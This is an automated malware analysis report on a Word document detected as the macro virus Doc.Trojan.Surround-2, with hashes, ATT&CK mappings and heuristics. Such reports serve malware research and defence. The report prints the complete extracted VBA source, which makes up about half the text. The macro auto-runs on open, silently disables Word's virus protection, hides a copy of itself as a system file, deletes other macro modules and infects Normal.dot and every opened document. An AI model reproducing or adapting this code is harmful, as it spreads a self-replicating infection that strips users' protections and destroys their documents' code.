Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 93285e223fac0694…

MALICIOUS

Office (OLE)

40.0 KB Created: 2000-12-14 17:35:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 7bf32f6d6dd32fdbd0c3ede23a49d001 SHA-1: 15a81180346f795617ea39007ba63021fe1db6c7 SHA-256: 93285e223fac06949740b0d2b4765dd624a99c5cfe72a18cdb9ca30e7fbf8867
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing a VBA macro with an AutoOpen subroutine, a common technique for macro-based malware. The script attempts to export itself to 'C:\Avmshare.dll' and modify Normal.dot, indicating an intent to spread and infect other documents. The ClamAV detection 'Doc.Trojan.Surround-2' further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Surround-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Surround-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2433 bytes
SHA-256: 7560a7867d3fcbcfaba1f91fe1a8ecd9a0be8cff46b68d7ce816e2c55e8066da
Detection
ClamAV: Doc.Trojan.Surround-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Antivirii"
' This is a macro virus made to kill macro viruses...
' Well, it will kill any modules etc. but that's a piece of life...
' It is very very simple, and with a few changes can be used
' by anyone to create other viruses... with destructive payload

Dim thing As Object

Sub AutoOpen()
On Error Resume Next
    CreatKeyFile
    SetDefOpt
    InsNormal
    InsActive
End Sub

Sub AutoNew()
    CreatKeyFile
    InsActive
End Sub

Sub SetDefOpt()
    Options.VirusProtection = (2 - (4 / 2))
    Options.ConfirmConversions = (2 - 1) - 1
    Options.BackgroundSave = True
    Options.SaveNormalPrompt = (8 + (8 - 16))
End Sub

Sub AutoExec()
    SetDefOpt
End Sub

Sub CreatKeyFile()
    For Each thing In ActiveDocument.VBProject.VBComponents
        If thing.Name = "Antivirii" Then
            thing.Export "C:\Avmshare.dll"
            SetAttr "C:\Avmshare.dll", vbHidden + vbSystem
        End If
    Next thing
    For Each thing In NormalTemplate.VBProject.VBComponents
        If thing.Name = "Antivirii" Then
            thing.Export "C:\Avmshare.dll"
            SetAttr "C:\Avmshare.dll", vbHidden + vbSystem
        End If
    Next thing

End Sub

Sub InsNormal()
    For Each thing In NormalTemplate.VBProject.VBComponents
        If Not ((thing.Name = "Antivirii") Or (thing.Name = "ThisDocument")) Then
            NormalTemplate.VBProject.VBComponents.Remove (thing)
        End If
    Next thing
    For Each thing In NormalTemplate.VBProject.VBComponents
        If thing.Name = "Antivirii" Then Exit Sub
    Next thing
    NormalTemplate.VBProject.VBComponents.Import "C:\Avmshare.dll"
End Sub

Sub InsActive()
    For Each thing In ActiveDocument.VBProject.VBComponents
        If Not ((thing.Name = "Antivirii") Or (thing.Name = "ThisDocument")) Then
            ActiveDocument.VBProject.VBComponents.Remove (thing)
        End If
    Next thing
    For Each thing In ActiveDocument.VBProject.VBComponents
        If thing.Name = "Antivirii" Then Exit Sub
    Next thing
    ActiveDocument.VBProject.VBComponents.Import "C:\Avmshare.dll"
End Sub

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